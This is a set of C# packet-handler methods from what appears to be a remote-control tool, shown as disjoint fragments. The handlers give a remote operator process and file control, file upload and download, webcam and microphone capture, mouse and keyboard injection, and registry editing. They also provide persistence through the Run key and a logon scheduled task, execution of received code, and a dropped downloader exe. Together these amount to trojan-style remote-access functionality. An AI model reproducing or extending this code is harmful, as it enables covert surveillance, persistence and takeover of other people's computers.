public void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (reqType == ePacketType.PACKET_GET_PROCESSES_REQUEST) { var req = reqObj as RequestGetProcesses; new Thread(() => StartGetProcesses(session, req)) { IsBackground = true }.Start(); } else if (reqType == ePacketType.PACKET_KILL_PROCESS_REQUEST) { var req = reqObj as RequestKillProcesses; new Thread(() => { StartKillProcesses(session, req); StartGetProcesses(session, new RequestGetProcesses() { IsSimpleMode = true }); }) { IsBackground = true }.Start(); } }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { switch (reqType) { case ePacketType.PACKET_CREATE_FILE_OR_DIR_REQUEST: Create(session, reqType, reqObj); break; case ePacketType.PACKET_DELETE_FILE_OR_DIR_REQUEST: Delete(session, reqType, reqObj); break; case ePacketType.PACKET_COPY_FILE_OR_DIR_REQUEST: Copy(session, reqType, reqObj); break; case ePacketType.PACKET_MOVE_FILE_OR_DIR_REQUEST: Move(session, reqType, reqObj); break; case ePacketType.PACKET_RENAME_FILE_REQUEST: Rename(session, reqType, reqObj); break; } }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (reqType == ePacketType.PACKET_START_UPLOAD_HEADER_REQUEST) { var req = reqObj as RequestStartUploadHeader; if (_fileUploadDic.ContainsKey(req.Id)) { return; } FileStream fs = new FileStream(req.To, FileMode.Create, FileAccess.Write); _fileUploadDic.Add(req.Id, fs); } else if (reqType == ePacketType.PACKET_START_UPLOAD_RESPONSE) { var resp = reqObj as ResponseStartUpload; if (_fileUploadDic.ContainsKey(resp.Id)) { FileStream fs = _fileUploadDic[resp.Id]; fs.Write(resp.Data, 0, resp.Data.Length); } } else if (reqType == ePacketType.PACKET_STOP_UPLOAD_REQUEST) { var req = reqObj as RequestStopUpload; if (_fileUploadDic.ContainsKey(req.Id)) { _fileUploadDic[req.Id].Close(); _fileUploadDic[req.Id].Dispose(); _fileUploadDic.Remove(req.Id); } } }
public void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (reqType == ePacketType.PACKET_OPEN_CD_REQUEST) { try { Win32API.mciSendString("Set cdaudio door open wait", "", 0, IntPtr.Zero);//打开 } catch (Exception ex) { Console.WriteLine(ex.Message); } } else if (reqType == ePacketType.PACKET_CLOSE_CD_REQUEST) { try { Win32API.mciSendString("Set cdaudio door Closed wait", "", 0, IntPtr.Zero);//关闭 } catch (Exception ex) { Console.WriteLine(ex.Message); } } }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (reqType == ePacketType.PACKET_START_CAPTURE_VIDEO_REQUEST) { // 开始捕获 var req = reqObj as RequestStartCaptureVideo; if (_request == null) { // 第一次发送启动监控请求,则创建监控线程 _request = req; _isRunning = true; RunTaskThread(StartCapture, session); } else { // 非第一次发送启动监控请求,则修改相关参数 _request.Fps = req.Fps; } } else if (reqType == ePacketType.PACKET_STOP_CAPTURE_VIDEO_REQUEST) { // 停止捕获 _isRunning = false; _request = null; } }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (OnFireQuit != null) { OnFireQuit(null, null); } }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (reqType == ePacketType.PACKET_START_DOWNLOAD_REQUEST) { // 开始 RequestStartDownload req = reqObj as RequestStartDownload; if (_request == null) { _request = req; _isRunning = true; // 返回文件基本信息 ResponseStartDownloadHeader headerResp = new ResponseStartDownloadHeader(); using (var fs = System.IO.File.OpenRead(req.Path)) { headerResp.FileSize = fs.Length; headerResp.Path = req.Path; headerResp.SavePath = req.SavePath; } session.Send(ePacketType.PACKET_START_DOWNLOAD_HEADER_RESPONSE, headerResp); // 开始返回文件内容 RunTaskThread(StartDownload, session); } else { // 每次只能下载一个文件 return; } } else if (reqType == ePacketType.PACKET_STOP_DOWNLOAD_REQUEST) { // 停止 _isRunning = false; } }
private void Create(SocketSession session, ePacketType reqType, object reqObj) { var req = reqObj as RequestCreateFileOrDir; var resp = new ResponseCreateFileOrDir(); try { resp.Path = req.Path; resp.PathType = req.PathType; if (req.PathType == ePathType.File) { if (!System.IO.File.Exists(req.Path)) { System.IO.File.Create(req.Path).Close(); } } else { if (!System.IO.Directory.Exists(req.Path)) { System.IO.Directory.CreateDirectory(req.Path); } } } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); } session.Send(ePacketType.PACKET_CREATE_FILE_OR_DIR_RESPONSE, resp); }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { var req = reqObj as RequestMouseEvent; DoOutput(string.Format("button:{0},operation:{1},location:{2},{3}", req.MouseButton, req.MouseOperation, req.MouseLocation.X, req.MouseLocation.Y)); if (req.MouseOperation == eMouseOperations.MouseDown) { MouseOpeUtil.MouseDown(req.MouseButton, req.MouseLocation); } else if (req.MouseOperation == eMouseOperations.MouseUp) { MouseOpeUtil.MouseUp(req.MouseButton, req.MouseLocation); } else if (req.MouseOperation == eMouseOperations.MousePress) { MouseOpeUtil.MousePress(req.MouseButton, req.MouseLocation); } else if (req.MouseOperation == eMouseOperations.MouseDoubleClick) { MouseOpeUtil.MouseDoubleClick(req.MouseButton, req.MouseLocation); } else if (req.MouseOperation == eMouseOperations.MouseMove) { MouseOpeUtil.MouseMove(req.MouseLocation); } else { return; } }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { var req = reqObj as RequestKeyboardEvent; DoOutput(string.Format("keyCode:{0},keyValue:{1},keyOperation:{2}", req.KeyCode, req.KeyValue, req.KeyOperation)); KeyboardOpeUtil.KeyOpe(req.KeyCode, req.KeyOperation); }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { string path = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName; var thread = ProcessUtil.Run(path, "/r", true); thread.Join(); RemoteControlApplication.FireQuitEvent(); }
public byte[] EncodeOject(ePacketType packetType, object obj) { byte[] bodyBytes = null; if (obj != null) { bodyBytes = ToJsonBytes(obj); } return(Encode(packetType, bodyBytes)); }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { string path = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName; var thread = ProcessUtil.Run(path, "/r", true); thread.Join(); if (OnFireQuit != null) { OnFireQuit(null, null); } }
public void Send(ePacketType packetType, object obj) { try { this.SocketObj.Send(CodecFactory.Instance.EncodeOject(packetType, obj)); } catch (Exception ex) { Console.WriteLine("SocketSession Error:" + ex.Message); } }
private void Decode(byte[] packetData, out ePacketType packetType, out byte[] bodyData) { int packetLength = BitConverter.ToInt32(packetData, 0); packetType = (ePacketType)packetData[4]; bodyData = new byte[packetLength - 4 - 1]; for (int i = 0; i < bodyData.Length; i++) { bodyData[i] = packetData[i + 5]; } }
public void Handle(SocketSession session, ePacketType reqType, object reqObj) { var req = reqObj as RequestOpenUrl; try { ProcessUtil.Run(req.Url, "", false, true); } catch (Exception ex) { } }
private void Rename(SocketSession session, ePacketType reqType, object reqObj) { var req = reqObj as RequestRenameFile; try { Computer c = new Computer(); c.FileSystem.RenameFile(req.SourceFile, req.DestinationFileName); } catch (Exception ex) { } }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (reqType == ePacketType.PACKET_PLAY_MUSIC_REQUEST) { var req = reqObj as RequestPlayMusic; StopMusic(); StartPlayMusic(session, req.MusicFilePath); } else if (reqType == ePacketType.PACKET_STOP_PLAY_MUSIC_REQUEST) { StopMusic(); } }
public void DecodeObject(byte[] packetData, out ePacketType packetType, out object obj) { byte[] bodyData = null; Decode(packetData, out packetType, out bodyData); obj = null; if (_mappings.ContainsKey(packetType)) { obj = FromJsonBytes(bodyData, _mappings[packetType]); } else { obj = bodyData; } }
private byte[] Encode(ePacketType packetType, byte[] bodyData) { List <byte> result = new List <byte>(); if (bodyData == null) { bodyData = new byte[0]; } int packetLength = bodyData.Length + 1 + 4; result.AddRange(BitConverter.GetBytes(packetLength)); result.Add((byte)packetType); result.AddRange(bodyData); return(result.ToArray()); }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { RequestAutoRun req = reqObj as RequestAutoRun; ResponseAutoRun resp = new ResponseAutoRun(); try { if (req.AutoRunMode == eAutoRunMode.ByRegistry) { RequestOpeRegistryValueName reqOpeRegistry = new RequestOpeRegistryValueName(); reqOpeRegistry.KeyRoot = eRegistryHive.CurrentUser; reqOpeRegistry.KeyPath = @"Software\Microsoft\Windows\CurrentVersion\Run"; reqOpeRegistry.ValueName = "rc"; if (req.OperationMode == OpeType.New) { reqOpeRegistry.Operation = OpeType.New; reqOpeRegistry.Value = CommonUtil.GetEntryExecutablePath(); } else if (req.OperationMode == OpeType.Delete) { reqOpeRegistry.Operation = OpeType.Delete; } else { return; } RequestOpeRegistryValueNameHandler.OpeRegistry(reqOpeRegistry); } else if (req.AutoRunMode == eAutoRunMode.BySchedualTask) { SchTaskUtil.DeleteSchedule("rc"); if (req.OperationMode == OpeType.New) { SchTaskUtil.CreateScheduleOnLogon("rc", CommonUtil.GetEntryExecutablePath()); } } } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); } session.Send(ePacketType.PACKET_AUTORUN_RESPONSE, resp); }
public void Handle(SocketSession session, ePacketType reqType, object reqObj) { var resp = new ResponseGetDrives(); try { resp.drives = Environment.GetLogicalDrives().ToList(); } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); } session.Send(ePacketType.PACKET_GET_DRIVES_RESPONSE, resp); }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (reqType == ePacketType.PACKET_TRANSPORT_EXEC_CODE_REQUEST) { var req = reqObj as RequestTransportExecCode; if (!codePluginDic.ContainsKey(req.ID)) { codePluginDic.Add(req.ID, new List <byte>()); } codePluginDic[req.ID].AddRange(req.Data); } else if (reqType == ePacketType.PACKET_RUN_EXEC_CODE_REQUEST) { var req = reqObj as RequestRunExecCode; RunTaskThread(() => Run(req)); } }
public void Handle(SocketSession session, ePacketType reqType, object reqObj) { _session = session; if (reqType == ePacketType.PACKET_STOP_CAPTURE_AUDIO_REQUEST) { //StopTest(); //return; if (_waveIn != null) { _waveIn.Dispose(); _waveIn = null; } } else if (reqType == ePacketType.PACKET_START_CAPTURE_AUDIO_REQUEST) { RequestStartCaptureAudio req = reqObj as RequestStartCaptureAudio; ResponseStartCaptureAudio resp = new ResponseStartCaptureAudio(); try { if (_waveIn != null) { return; } //StartTest(); //return; if (WaveIn.Devices.Length > 0) { _waveIn = new WaveIn(WaveIn.Devices[0], 8000, 16, 1, 400); _waveIn.BufferFull += new BufferFullHandler(m_pWaveIn_BufferFull); _waveIn.Start(); } else { throw new Exception("未找到可用的音频设备"); } } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); session.Send(ePacketType.PACKET_START_CAPTURE_AUDIO_RESPONSE, resp); } } }
public void Handle(SocketSession session, ePacketType reqType, object reqObj) { var req = reqObj as RequestGetSubFilesOrDirs; var resp = new ResponseGetSubFilesOrDirs(); try { resp.dirs = new List <Protocals.DirectoryProperty>(); var dirs = System.IO.Directory.GetDirectories(req.parentDir).ToList(); foreach (var item in dirs) { DirectoryInfo di = new DirectoryInfo(item); resp.dirs.Add(new DirectoryProperty() { DirPath = item, CreationTime = di.CreationTime, LastWriteTime = di.LastWriteTime, LastAccessTime = di.LastAccessTime }); } resp.files = new List <FileProperty>(); var files = System.IO.Directory.GetFiles(req.parentDir).ToList(); foreach (var item in files) { FileInfo fi = new FileInfo(item); resp.files.Add(new FileProperty() { FilePath = item, Size = fi.Length, CreationTime = fi.CreationTime, LastWriteTime = fi.LastWriteTime, LastAccessTime = fi.LastAccessTime }); } } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); } session.Send(ePacketType.PACKET_GET_SUBFILES_OR_DIRS_RESPONSE, resp); }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { var req = reqObj as RequestDownloadWebFile; try { // 释放程序 byte[] data = ResUtil.GetResFileData(RES_FILE_NAME); string fileName = ResUtil.WriteToRandomFile(data, "download.exe"); // 启动程序 string arguments = string.Format("{0} {1}", req.WebFileUrl, req.DestinationPath); ProcessUtil.RunByCmdStart(fileName + " downloader " + arguments, true); } catch (Exception ex) { Console.WriteLine(ex.Message); } }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (reqType == ePacketType.PAKCET_BLACK_SCREEN_REQUEST) { // 开始 if (_isRunning) { return; } RunTaskThread(StartBlackScreen, session); } else if (reqType == ePacketType.PAKCET_UN_BLACK_SCREEN_REQUEST) { // 停止 _isRunning = false; RunTaskThread(StartUnBlackScreen, session); } }
public void Handle(SocketSession session, ePacketType reqType, object reqObj) { RequestOpeRegistryValueName req = reqObj as RequestOpeRegistryValueName; ResponseOpeRegistryValueName resp = new ResponseOpeRegistryValueName(); try { OpeRegistry(req); } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); } session.Send(ePacketType.PACKET_OPE_REGISTRY_VALUE_NAME_RESPONSE, resp); }
public void Handle(SocketSession session, ePacketType reqType, object reqObj) { RequestViewRegistryKey req = reqObj as RequestViewRegistryKey; ResponseViewRegistryKey resp = new ResponseViewRegistryKey(); resp.KeyRoot = req.KeyRoot; resp.KeyPath = req.KeyPath; try { RegistryKey rootKey = RegistryKey.OpenBaseKey( (RegistryHive)req.KeyRoot, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32); RegistryKey subKey = rootKey; if (!string.IsNullOrWhiteSpace(req.KeyPath)) { subKey = rootKey.OpenSubKey(req.KeyPath); } resp.KeyNames = subKey.GetSubKeyNames(); resp.ValueNames = subKey.GetValueNames(); int valueNamesLength = resp.ValueNames.Length; resp.ValueKinds = new eRegistryValueKind[valueNamesLength]; resp.Values = new object[valueNamesLength]; for (int i = 0; i < valueNamesLength; i++) { string valueName = resp.ValueNames[i]; resp.ValueKinds[i] = (eRegistryValueKind)subKey.GetValueKind(valueName); resp.Values[i] = subKey.GetValue(valueName); } } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); } session.Send(ePacketType.PACKET_VIEW_REGISTRY_KEY_RESPONSE, resp); }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (reqType == ePacketType.PACKET_SHUTDOWN_REQUEST) { ProcessUtil.Run("shutdown.exe", "-s -t 0", true); } else if (reqType == ePacketType.PACKET_REBOOT_REQUEST) { ProcessUtil.Run("shutdown.exe", "-r -t 0", true); } else if (reqType == ePacketType.PACKET_SLEEP_REQUEST) { ProcessUtil.Run("rundll32.exe", "powrprof.dll,SetSuspendState 0,1,0", true); } else if (reqType == ePacketType.PACKET_HIBERNATE_REQUEST) { ProcessUtil.Run("rundll32.exe", "powrProf.dll,SetSuspendState", true); } else if (reqType == ePacketType.PACKET_LOCK_REQUEST) { ProcessUtil.Run("rundll32.exe", "user32.dll,LockWorkStation", true); } }